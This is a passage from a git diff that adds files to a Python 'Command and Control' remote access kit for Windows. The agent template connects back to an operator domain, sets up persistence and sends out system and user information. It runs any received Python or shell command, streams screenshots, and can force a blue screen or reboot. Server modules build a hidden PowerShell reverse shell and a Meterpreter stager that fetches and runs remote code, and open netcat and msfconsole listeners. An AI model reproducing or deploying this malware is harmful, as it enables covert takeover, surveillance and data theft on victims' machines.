stdout=subprocess.PIPE) + {ip_config_output} = {ip_config}.stdout.read().decode() + {extracted_info} = f'{{{sysinfo_output}}}\\n{{{ip_config_output}}}' + return {extracted_info} +class {SystemManager}: + def {blue_screen}(self): + ctypes.windll.ntdll.RtlAdjustPrivilege(19, 1, 0, ctypes.byref(ctypes.c_bool())) + ctypes.windll.ntdll.NtRaiseHardError(0xc0000022, 0, 0, 0, 6) + def {restart_computer}(self): + subprocess.run('shutdown /r /t 0',shell=True) + def {shutdown_computer}(self): + subprocess.run('shutdown /p') +class {Encryption}: + def {encrypt_packet}(self,{data_to_encrypt}): + {encryption_object} = Fernet({MASTER_KEY}) + {encoded_data} = {data_to_encrypt}.encode() + {encrypted_data} = {encryption_object}.encrypt({encoded_data}) + return {encrypted_data} + def {decrypt_packet}(self,{data_to_decrypt}): + {decryption_object} = Fernet({MASTER_KEY}) + {decrypted_data} = {decryption_object}.decrypt({data_to_decrypt}) + {plaintext} = {decrypted_data}.decode() + return {plaintext} +class {ClientSocket}: + def __init__(self): + self.{heartbeat} = 'echo' + self.{dns_address} = '{domain_name}' + self.{env_var} = 'USERNAME' + self.{python_flag} = 'python' + self.{system_command} = 'system' + self.{reconnect_to_server} = 'reconnect' + self.{ping_server} = 'ping' + self.{sys_info_exfil} = 'sys_info' + self.{blue_screen} = 'bsod' + self.{restart_computer} = 'restart' + self.{shutdown_computer} = 'shutdown' + self.{screenshot} = 'screenshot' + self.{stream_desktop} = 'stream_desktop' + self.{disconnect} = 'disconnect' + def {connect_to_server}(self): + {domain} = socket.gethostbyname(self.{dns_address}) + self.{client_socket} = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + while True: + try: + self.{client_socket}.connect(({domain},{SERV_PORT})) + break + except socket.error: + self.{client_socket}.close() + sleep(10) + return self.{connect_to_server}() + return self.{initiate_handshake}() + def {initiate_handshake}(self): + {system_name} = socket.gethostname() + {Utilitys}().{persistence_mechanism}() + self.{client_socket}.send({Utilitys}().{convert_string_to_bytes}({system_name})) + return self.{negotiate_encryption}() + def {negotiate_encryption}(self): + global {MASTER_KEY} + {b64_encoded_key} = self.{client_socket}.recv({BUFFER}) + {MASTER_KEY} = base64.b64decode({b64_encoded_key}) + return self.{extract_information}() + def {extract_information}(self): + {local_ip} = {Utilitys}().{get_local_ip}() + {operating_system} = f'{{platform.system()}} {{platform.release()}}' + {current_user} = os.environ[self.{env_var}] + {privilege} = {Utilitys}().{check_process_privilege}() + {windows_version} = {Utilitys}().{get_windows_version}() + {information_array} = [] + {information_array}.append({local_ip}) + {information_array}.append({operating_system}) + {information_array}.append({current_user}) + {information_array}.append({privilege}) + {information_array}.append({windows_version}) + self.{client_socket}.send({Encryption}().{encrypt_packet}(str({information_array}))) + return self.{complete_handshake}() + def {complete_handshake}(self): + {MultiProcessor}().{start_child_thread}(self.{start_echo}) + return self.{main}() + def {start_echo}(self): + while True: + self.{client_socket}.send({Encryption}().{encrypt_packet}(self.{heartbeat})) + sleep(60) + def {main}(self): + while True: + {server_command} = self.{receive_server_command}() + {server_command} = {server_command}.split({SEP}) + {action_flag} = {server_command}[0] + if {action_flag} == self.{python_flag}: + {CodeExecution}().{execute_python_code}({server_command}[1]) + if {action_flag} == self.{system_command}: + {CodeExecution}().{execute_system_command}({server_command}[1]) + if {action_flag} == self.{reconnect_to_server}: + self.{client_socket}.close() + return self.{connect_to_server}() + if {action_flag} == self.{ping_server}: + {ExfilSocket}().{exfil_socket_send}(f'{{socket.gethostname()}} Is Online') + if {action_flag} == self.{sys_info_exfil}: + {ExfilSocket}().{exfil_socket_send}(f'{{{Utilitys}().{extract_sys_ip_info}()}}') + if {action_flag} == self.{blue_screen}: + self.{client_socket}.close() + {SystemManager}().{blue_screen}() + if {action_flag} == self.{restart_computer}: + {SystemManager}().{restart_computer}() + if {action_flag} == self.{shutdown_computer}: + {SystemManager}().{shutdown_computer}() + if {action_flag} == self.{screenshot}: + {StreamSocket}().{stream_desktop}(True) + if {action_flag} == self.{disconnect}: + exit() + def {recv_all_data}(self): + {bytes_data} = b'' + while True: + {partial_data} = self.{client_socket}.recv({BUFFER}) + {bytes_data} += {partial_data} + if len({partial_data}) < int({BUFFER}): + break + return {bytes_data} + def {receive_server_command}(self): + {data} = self.{recv_all_data}() + if not {data}: + return self.{connect_to_server}() + {plain_text_data} = {Encryption}().{decrypt_packet}({data}) + return {plain_text_data} + def {send_data_to_server}(self,{data}): + {data_to_send} = {Encryption}().{encrypt_packet}({data}) + self.{client_socket}.send({data_to_send}) +class {ExfilSocket}: + def {exfil_socket_send}(self, {exfil_data}): + {domain} = socket.gethostbyname({ClientSocket}().{dns_address}) + {exfil_socket} = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + {exfil_socket}.connect(({domain},{EXFIL_PORT})) + {encrypted_data} = {Encryption}().{encrypt_packet}({exfil_data}) + {exfil_socket}.sendall({encrypted_data}) + {exfil_socket}.close() +class {StreamSocket}: + def __init__(self): + self.{image_file_path} = str(f'{{os.getenv("userprofile")}}\\AppData\\Local\\Temp\\c.jpg') + def {take_screenshot}(self): + {screen_cap} = ImageGrab.grab() + {screen_cap}.save(self.{image_file_path}, 'jpeg') + with open(self.{image_file_path}, 'rb') as {image_file}: + {image_data} = {image_file}.read() + {image_file}.close() + return {image_data} + def {stream_desktop}(self,{screenshot}): + {StreamSocket} = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + {ip_address} = socket.gethostbyname({ClientSocket}().{dns_address}) + {StreamSocket}.connect(({ip_address},{STRM_PORT})) + if not {screenshot}: + while True: + {image_data} = self.{take_screenshot}() + {StreamSocket}.sendall(struct.pack(">Q", len({image_data}))) + {StreamSocket}.sendall({image_data}) + elif {screenshot}: + {image_data} = self.{take_screenshot}() + {StreamSocket}.sendall(struct.pack(">Q", len({image_data}))) + {StreamSocket}.sendall({image_data}) + {StreamSocket}.close() +class {CodeExecution}(): + def {execute_python_code}(self,{python_code}): + def {exec_}({python_code}): + try: + exec(str({python_code})) + except Exception as {error}: + pass + {MultiProcessor}().{start_child_thread_arg}({exec_},{python_code}) + def {execute_system_command}(self,{system_command}): + def {exec_}({system_command}): + try: + subprocess.run({system_command},shell=True) + except Exception as {error}: + pass + {MultiProcessor}().{start_child_thread_arg}({exec_},{system_command}) +{ClientSocket}().{connect_to_server}() +""" + return agent_source \ No newline at end of file diff --git a/core/client_handling/enumeration.py b/core/client_handling/enumeration.py new file mode 100644 index 0000000..40782f5 --- /dev/null +++ b/core/client_handling/enumeration.py @@ -0,0 +1,29 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..networking.socket import ServerSocket +from ..networking.receiver_socket import ReceiverSocket +from ..threading.threads import MultiThreading +from ..client_handling.flags import ClientActionFlags +from ..logging.logging import ConsoleWindow + +class SystemCommands: + + #Function will create receiver socket and tell agent to send output of systeminfo and ipconfig /all commands + def exfil_sys_and_ip_info(self,encryption_key,client): + ConsoleWindow().log_to_console('Getting system information from agent') #Log to console + MultiThreading().create_background_thread_arg(ReceiverSocket().recv_sys_ip_info,encryption_key) #Create thread to catch data from agent + flag = f'{ClientActionFlags().extract_sys_ip_info}{ClientActionFlags().seperator} ' #Action flag + ServerSocket().send_data_to_client(client,encryption_key,flag) #Tell client to run commands + ConsoleWindow().log_to_console('Got system information from agent') #Log to console diff --git a/core/client_handling/flags.py b/core/client_handling/flags.py new file mode 100644 index 0000000..eee9a23 --- /dev/null +++ b/core/client_handling/flags.py @@ -0,0 +1,29 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +#Class is for storing flag strings to make the client do different actions +class ClientActionFlags: + def __init__(self): + self.seperator = '' + self.exec_python_code = 'python' + self.ping_client = 'ping' + self.system_command = 'system' + self.reconnect_client = 'reconnect' + self.stream_desktop = 'stream_desktop' + self.screenshot = 'screenshot' + self.extract_sys_ip_info = 'sys_info' + self.blue_screen = 'bsod' + self.reboot_computer = 'restart' + self.shutdown_computer = 'shutdown' + self.disconnect = 'disconnect' diff --git a/core/client_handling/networking.py b/core/client_handling/networking.py new file mode 100644 index 0000000..d6b8639 --- /dev/null +++ b/core/client_handling/networking.py @@ -0,0 +1,32 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..networking.socket import ServerSocket +from ..networking.receiver_socket import ReceiverSocket +from ..client_handling.flags import ClientActionFlags +from ..threading.threads import MultiThreading + +class NetHandle: + #Function will ping the client + def ping_client(self,encryption_key,client): + MultiThreading().create_background_thread_arg(ReceiverSocket().recv_ping_reply,encryption_key) #Create socket to catch response in new thread + ServerSocket().send_data_to_client(client,encryption_key,f'{ClientActionFlags().ping_client}{ClientActionFlags().seperator} ') #Ping the client + + #Function will tell client to reconnect + def client_reconnect(self,encryption_key,client): + ServerSocket().send_data_to_client(client,encryption_key,f'{ClientActionFlags().reconnect_client}{ClientActionFlags().seperator} ') #Tell client to reconnect + + #Function will disconnect client, client will kill process + def disconnect_client(self,encryption_key,client): + ServerSocket().send_data_to_client(client,encryption_key,f'{ClientActionFlags().disconnect}{ClientActionFlags().seperator} ') #Tell client to disconnect \ No newline at end of file diff --git a/core/client_handling/shell.py b/core/client_handling/shell.py new file mode 100644 index 0000000..520c4a3 --- /dev/null +++ b/core/client_handling/shell.py @@ -0,0 +1,72 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..networking.socket import ServerSocket +from ..networking.IP_Handler import IPAddress +from ..client_handling.flags import ClientActionFlags +from ..logging.logging import DNSconfigs + +from subprocess import run + +class ListenerHandler(): + #Function will open a netcat listener on port passed as parameter + def open_netcat_listener(self,lport): + run(f'gnome-terminal -e "nc -lvnp {str(lport)}"',shell=True,capture_output=True) #Open new terminal with netcat listener on port that is passed as parameter + + #Function will open a meterpreter listener with payload and lport passed as parameter + def open_meterpreter_listener(self,payload,lport): + lhost = IPAddress().get_local_ip_from_interface() #Get the local ip from the chosen interface + run(f'gnome-terminal -e \'msfconsole -q -x "use multi/handler;set payload {payload};set lhost {lhost};set lport {lport};run"\'',shell=True,capture_output=True) #Open meterpreter listener + +class Meterpreter(): + + #Function will send python meterpreter shellcode to client and open listener to catch connection + def exec_python_meterpreter_shell(self,lport,encryption_key,client): + domain = DNSconfigs().retrieve_domain_for_shell() #Retrieve the domain chosen for shells + #Construct shell code + shell_code = f"""import socket,zlib,base64,struct,time +for i in range(10): + try: + host = socket.gethostbyname(('{domain}')) + s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) + s.connect((host,{lport})) + break + except: + time.sleep(5) +l = struct.unpack('>I', s.recv(4))[0] +d = s.recv(l) +while len(d) < l: + d += s.recv(l - len(d)) +exec(zlib.decompress(base64.b64decode(d)), {{'s': s}})""" + ListenerHandler().open_meterpreter_listener('python/meterpreter/reverse_tcp',lport) #Open the listener + data = str(f'{ClientActionFlags().exec_python_code}{ClientActionFlags().seperator}{shell_code}')#Prepare the data with the shell code + ServerSocket().send_data_to_client(client,encryption_key,data) #Send the data to the client for execution + +class PowerShell: + #Function will execute a reverse shell using powershell + def exec_reverse_shell(self,lport,encryption_key,client): + lhost = DNSconfigs().retrieve_domain_for_shell() + #Prepare shell code + shell_code = 'powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = ' \ + f'New-Object Net.Sockets.TCPClient(\'{lhost}\', {lport});$NetworkStream = ' \ + '$TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);' \ + 'function WriteToStream ($String) {[byte[]]$script:Buffer = ' \ + '0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + (pwd).Path + \'> \');' \ + '$StreamWriter.Flush()}WriteToStream \'\';while(($BytesRead = ' \ + '$NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8)' \ + '.GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String}' \ + ' catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"' + ListenerHandler().open_netcat_listener(lport) #Open listener + data = str(f'{ClientActionFlags().system_command}{ClientActionFlags().seperator}{shell_code}') #Prepare the data + ServerSocket().send_data_to_client(client,encryption_key,data) #Send the data to the client for execution diff --git a/core/client_handling/surveillance.py b/core/client_handling/surveillance.py new file mode 100644 index 0000000..bd3bc07 --- /dev/null +++ b/core/client_handling/surveillance.py @@ -0,0 +1,28 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..networking.socket import ServerSocket +from ..networking.stream_socket import StreamingSocket +from ..client_handling.flags import ClientActionFlags +from ..threading.threads import MultiThreading + +BUFFER = 4096 + +class Streaming: + + #Function will tell client to take a screenshot, and then create a thread to receive the photo + def get_client_screenshot(self, encryption_key,client): + flag = f'{ClientActionFlags().screenshot}{ClientActionFlags().seperator} ' #Action flag + ServerSocket().send_data_to_client(client,encryption_key,flag) #Tell client to take photo + MultiThreading().create_background_thread(StreamingSocket().receive_screenshot()) #Create thread to receive photo \ No newline at end of file diff --git a/core/client_handling/system.py b/core/client_handling/system.py new file mode 100644 index 0000000..109c24c --- /dev/null +++ b/core/client_handling/system.py @@ -0,0 +1,30 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from ..networking.socket import ServerSocket +from ..client_handling.flags import ClientActionFlags + +class SystemManager: + + #Function tells agent to blue screen the computer + def force_blue_screen(self,encryption_key,client): + ServerSocket().send_data_to_client(client,encryption_key,f'{ClientActionFlags().blue_screen}{ClientActionFlags().seperator} ') #Send blue screen flag to client + + #Function tells agent to reboot the client + def reboot_client_system(self,encryption_key,client): + ServerSocket().send_data_to_client(client,encryption_key,f'{ClientActionFlags().reboot_computer}{ClientActionFlags().seperator} ') #Send reboot flag to client + + #Function tells agent to shutdown the client + def shutdown_client_system(self,encryption_key,client): + ServerSocket().send_data_to_client(client,encryption_key,f'{ClientActionFlags().shutdown_computer}{ClientActionFlags().seperator} ') #Send shutdown flag to client \ No newline at end of file diff --git a/core/encryption/aes128.py b/core/encryption/aes128.py new file mode 100644 index 0000000..54c98fa --- /dev/null +++ b/core/encryption/aes128.py @@ -0,0 +1,40 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +from cryptography.fernet import Fernet +from ..logging.logging import NetworkingConfigs + +class Encryption: + # Function will generate a new encryption key and return it + def create_encryption_key(self): + key = Fernet.generate_key() #Generate key + return key #Return key + + # Function will take key and data, encrypt the data and return the encrypted data value + def encrypt_data(self, key, data_to_encrypt): + crypter_object = Fernet(key) #Create crypter object + encoded_data = data_to_encrypt.encode() #Encode input data + encrypted_data = crypter_object.encrypt(encoded_data) #Encrypt data + NetworkingConfigs().write_data_length(len(encrypted_data)) #Record length of data for data txrx on gui + return encrypted_data #Return the data + +class Decryption: + # Function will take key and data, decrypt the data and return the decrypted data value + def decrypt_data(self, key, data_to_decrypt): + if data_to_decrypt != b'': #Make sure data is not an empty byte string as it will throw a token error if it trys to decrypt empty byte string + crypter_object = Fernet(key) #Create crypter obj + NetworkingConfigs().write_data_length(len(data_to_decrypt)) #Record length of data for data txrx on gui + decrypted_data = crypter_object.decrypt(data_to_decrypt) #Decrypt data + plaintext = decrypted_data.decode() #Decode the data + return plaintext #Return plaintext \ No newline at end of file diff --git a/core/logging/logging.py b/core/logging/logging.py new file mode 100644 index 0000000..b238ae0 --- /dev/null +++ b/core/logging/logging.py @@ -0,0 +1,210 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import os +from ..utils.utils import ErrorHandling,Notifications +from ..utils.file_paths import DSFilePath,CFGFilePath +from datetime import datetime + +class LoggingUtilitys(): + + # Function will return a full string of desired directory + def get_misc_file_path_str(self, file_path_from_working_dir): + current_dir = os.path.join(os.getcwd()) #Get the current directory + target_file_path = str(f'{current_dir}/{file_path_from_working_dir}') #Prepare target file path string + return target_file_path #Return the filepath string + + #Function will return date and time string when it is executed + def get_date_time_string(self): + moment = datetime.now() #Get date time string from current moment + date_time_string = moment.strftime("%m/%d/%y %H:%M:%S") #Format the string + return date_time_string #Return the date time string + + #Function will read a file and return the string data + def retrieve_file_data(self,file_path): + with open(file_path,'r') as file: #Open file + data = file.read() #Read & store data in var + file.close() #Close the file + return data #Return the data + + #Function will write data parameter to file parameter + def write_data_to_file(self,file_path,data): + with open(file_path,'w') as file: #Open file + file.write(data) #Write data + file.close() #Close file + +class NetworkingConfigs(): + + #Function will write the listening port for the shells functions + def write_shell_lport(self,lport): + LoggingUtilitys().write_data_to_file(CFGFilePath().shells_lport_file,lport) + + #Function will retrieve the and return the lport for shells from the lport.txt file + def retrieve_shell_lport(self): + lport = LoggingUtilitys().retrieve_file_data(CFGFilePath().shells_lport_file) #Retrieve lport file data + return lport #return the lport + + #Function checks for existing port in config file and returns boolean value + def check_config_for_existing_port(self, port): + sockets = LoggingUtilitys().retrieve_file_data(CFGFilePath().server_sockets) #Get the server sockets + for listener in sockets.split('\n'): #For each port in the file split by a new line + if listener == port: #If the port on file is == to the port passed as a parameter + return False #Return false + return True #Else if port is not found, return false + + #Function will add port to config file + def add_port_to_config_file(self, port): + if NetworkingConfigs().check_config_for_existing_port(port) == True: #If the port parameter is not currently existent, + with open(CFGFilePath().server_sockets, 'a') as port_config_file: #Open the server sockets file in append mode + port_config_file.write(f'{port}\n') #Write the port and new line + port_config_file.close() #Close the file + return True #Return true if we could successfully add port to ports.txt. this means the port does not exist already + else: + #Raise error saying the listener exists if the port check function returns false + ErrorHandling().raise_error('Listener Already Exists', + '', + 'Already Exists') + return False #Return false if port already exists in ports.txt. this stops the port from being added to ports display + + # Function will remove port from config file. This is for deleting listeners from the port display widget + def remove_port_from_config_file(self, port): + current_ports = LoggingUtilitys().retrieve_file_data(CFGFilePath().server_sockets).split('\n') #get the current ports form the config file + for listener in current_ports: # For the listeners in the ports array split by \n + if listener == port: # if the listener is == to the port parameter + current_ports.remove(listener) # Remove the listener from the ports array + with open(CFGFilePath().server_sockets, 'w') as port_config_file: #Open the server sockets file + for port in current_ports: #For each port in current ports array + port_config_file.write(port+'\n') #write the port + port_config_file.close() #Close the file + + #Function will write selected interface to interface file + def write_network_interface(self,interface): + LoggingUtilitys().write_data_to_file(CFGFilePath().current_interface,interface) + + #Function will retrieve network interface card from interface file + def retrieve_network_interface(self): + interface = LoggingUtilitys().retrieve_file_data(CFGFilePath().current_interface) #Retrieve the interface from the cfg file + return interface #Return the interface string + + #Function will write the length of data parameter to the bits file for the data txrx label on the main gui + def write_data_length(self,data_length): + current_length = LoggingUtilitys().retrieve_file_data(DSFilePath().bits_file) #Get current length of contents in file + if current_length == '': #If it's not set + current_length = 0 #current length == 0 + byte_length = int(data_length)+int(current_length) #get length in bytes of data parameter and data in bits file + LoggingUtilitys().write_data_to_file(DSFilePath().bits_file,str(byte_length)) #Log the new data size in bytes to the bits file + + #Function will write the exfil port to exfil_port.txt + def write_exfil_port(self,port_number): + LoggingUtilitys().write_data_to_file(CFGFilePath().exfil_port_file,str(port_number)) + + #Function will return port number of exfil port from txt file + def retrieve_exfil_port(self): + exfil_port = LoggingUtilitys().retrieve_file_data(CFGFilePath().exfil_port_file) + return exfil_port + + #Function will write the stream port to the stream_port.txt file + def write_stream_port(self,port_number): + LoggingUtilitys().write_data_to_file(CFGFilePath().stream_port_file,str(port_number)) + + #Function will return the stream port number from the txt file + def retrieve_stream_port(self): + stream_port = LoggingUtilitys().retrieve_file_data(CFGFilePath().stream_port_file) + return stream_port + + #Function will record listening socket, Logically broken right now as only way to close socket is by killing program + def record_listening_socket(self,port_number): + LoggingUtilitys().write_data_to_file(DSFilePath().listening_sockets_file,port_number) + + +class DNSconfigs(): + #Function will return token string value from token file + def retrieve_dns_token(self): + dns_token = LoggingUtilitys().retrieve_file_data(CFGFilePath().dns_token) + return dns_token + + #Function will write new token to dns token config file + def write_new_token(self,new_token): + LoggingUtilitys().write_data_to_file(CFGFilePath().dns_token,new_token) + + #Function will retrieve domains, append them to an array and return the array + def retrieve_dns_domains(self): + domain_array = [] #Create domain array + domains = LoggingUtilitys().retrieve_file_data(CFGFilePath().domains_file) + for domain in domains.split('\n'): #For domains in the array split by a new line + if domain != '': #If the domain is not an empty string + domain_array.append(domain) #Append the data to the array + return domain_array #Return the array value + + #Function will remove domain passed as parameter from domains file + def remove_domain_from_file(self,domain_to_remove): + domains_on_file = self.retrieve_dns_domains() #Get dns domain array with function + for domain in domains_on_file: #For the domains in the array + if domain == domain_to_remove: #If the domain == the domain parameter + domains_on_file.remove(domain) #Remove the domain to the array + with open(CFGFilePath().domains_file,'w') as domains_file: #Overwrite the domains file, + for domain in domains_on_file: #For domain in the array + domains_file.write(f'{domain}\n') #Write the domain to the file + domains_file.close() #Close the file + + #Function will add a domain to the domains file + def add_domain_to_file(self,domain_to_add): + with open(CFGFilePath().domains_file,'a') as domain_file: #Open domain cfg file in append mode + domain_file.write(f'{domain_to_add}\n') #Add the domain to the file with new line + domain_file.close() #Close the file + + #Function will retrieve the selected domain for the shells action + def retrieve_domain_for_shell(self): + domain = LoggingUtilitys().retrieve_file_data(CFGFilePath().chosen_domain) #Retrieve chosen domain for shells + return domain #Return the domain string + + #Function will write the chosen domain for the shells action + def write_shell_domain(self,domain): + LoggingUtilitys().write_data_to_file(CFGFilePath().chosen_domain,domain) + +class ConsoleWindow(): + #function overwrites console log file to clear the console window + def clear_console_logs(self): + with open(DSFilePath().console_output_file, 'w') as file: #Open the file in write mode to overwite data + file.close() #Close the file + Notifications().raise_notification('Console logs have been cleared.','success') #Raise notification + + #Function writes string to file which will be read to update console window on main window + def log_to_console(self,data_to_log): + with open(DSFilePath().console_output_file,'a') as console_output: #Open console data storage file + console_output.write(f'[{LoggingUtilitys().get_date_time_string()}] {data_to_log}\n') #append the string to file + console_output.close() #Close the file + +class ClientWindow: + #Function records active connection in the active connections file + def record_active_connection(self,info_array): + array = [] #Create array + with open(DSFilePath().active_connections_file,'a') as file: + for info in info_array: #Loop through info pieces in array received from sockets + info = str(info).strip("'").strip(' ').replace("'",'') #Remove extra spaces and characters from array items + array.append(info.strip('\n')) #Strip '\n' from string and append the info to the other array + if array != '[]': #If the array is not empty + file.write(str(array)+'\n') #Write the array to the file + file.close() + + #Function will remove connection from array by the encryption_key + def remove_active_connection(self,address_array,encryption_key): + for list in address_array: #Loop through client info arrays + if list[8] == encryption_key: #If the system name in the list equals the system name give to the parameter + address_array.remove(list) #Remove the last from the array + with open(DSFilePath().active_connections_file,'w') as file: #Clear the file by overwriting it in write mode + for line in address_array: #For each list of client info in the array + line = str(line).replace('" ','').replace('"\'','').replace('\'"','') + file.write(line+'\n') #Write it to the file with a new line + file.close() diff --git a/core/networking/IP_Handler.py b/core/networking/IP_Handler.py new file mode 100644 index 0000000..f01abfb --- /dev/null +++ b/core/networking/IP_Handler.py @@ -0,0 +1,57 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import netifaces +import requests +import os + +from ..logging.logging import NetworkingConfigs + +class NicHandler: + #Function will return array with all interfaces found in linux directory + def get_all_interfaces(self): + interfaces = os.listdir('/sys/class/net') #list all interfaces in net dir + return interfaces #Return interface array + +#Function checks the value of the host and then returns IP values if called for + def validate_host(self,host): + if host == 'Local IP': + host = IPAddress().get_local_ip_from_interface() + elif host == 'Public IP': + host = IPAddress().get_public_ip_string() + return host + +class IPAddress: + + #Function will return public IP string + def get_public_ip_string(self): + public_ip_string = requests.get('http://ident.me').text #Get the public ip string + return public_ip_string #Return the public ip string + + #Function will return local ip from interface in cfg file + def get_local_ip_from_interface(self): + current_interface = NetworkingConfigs().retrieve_network_interface() #get the current interface from the cfg file + interface_dict = netifaces.ifaddresses(current_interface) #get dict value from current interface + interface = interface_dict[2] #Index the dict + strip = interface[0] #Index again + local_ip = strip.get('addr') #Get the local ip assigned to the 'addr' value + return local_ip #Return the local ip string + + #Funtion will get the geolocation of an ip address + def get_ip_geolocation(self, ip_address): + self.ip_location = requests.get(f'http://ip-api.com/json/{str(ip_address)}').json() #send get request to api with ip address and parse in json format + if self.ip_location['status'] == 'fail': #if the status is failed + return '' #return empty string + else: + return self.ip_location #else return the geolocation from the address \ No newline at end of file diff --git a/core/networking/dns_handler.py b/core/networking/dns_handler.py new file mode 100644 index 0000000..f9554e5 --- /dev/null +++ b/core/networking/dns_handler.py @@ -0,0 +1,55 @@ +# M""MMM""MMM""M oo +# M MMM MMM M +# .d8888b. M MMP MMP M dP 88d888b. .d8888b. +# 88' `88 M MM' MM' .M 88 88' `88 88ooood8 +# 88. .88 M `' . '' .MM 88 88 88. ... +# `8888P88 M .d .dMMM dP dP `88888P' +# 88 MMMMMMMMMMMMMM Command and Control +# dP +# ------------------------------------------------------------- +# [A Remote Access Kit for Windows] +# Author: SlizBinksman +# Github: https://github.com/slizbinksman +# Build: 1.0.0 +# ------------------------------------------------------------- +import requests +from ..networking.IP_Handler import IPAddress +from ..logging.logging import DNSconfigs,ConsoleWindow +from ..utils.file_paths import CFGFilePath +from ..utils.utils import Notifications,ErrorHandling + +class DomainHandler(): + + #Function will read domains from config file and then update them with the token read from the token file + def update_dns_domain(self): + domain_array = [] #Create local domain array + with open(CFGFilePath().domains_file) as domain_file: #Open domains text file + domains = domain_file.read() #Get data inside the file + if domains == '': #If domain file is empty string, meaning no domains + domain_file.close() #Close file + ErrorHandling().raise_error('No domains to update','Please add a domain.','Domain Error') #Raise error + return #Return + else: + for domain in domains.split('\n'): #For domains seperated by new lines + if domain != '': #Ignore the domain if its and empty string + domain_array.append(domain) #Append to array if its not empty string + domain_file.close() #Close the domains file + public_ip = IPAddress().get_public_ip_string() #Get the public ip of the host machine + token = DNSconfigs().retrieve_dns_token() #Retrieve dns token for file + if token == '': #If token is empty string, meaning no token present + ErrorHandling().raise_error('DuckDNS Token not found.','Please add a token.','Token Error') #Raise error + return #Return + else: + for domain in domain_array: #For each domain 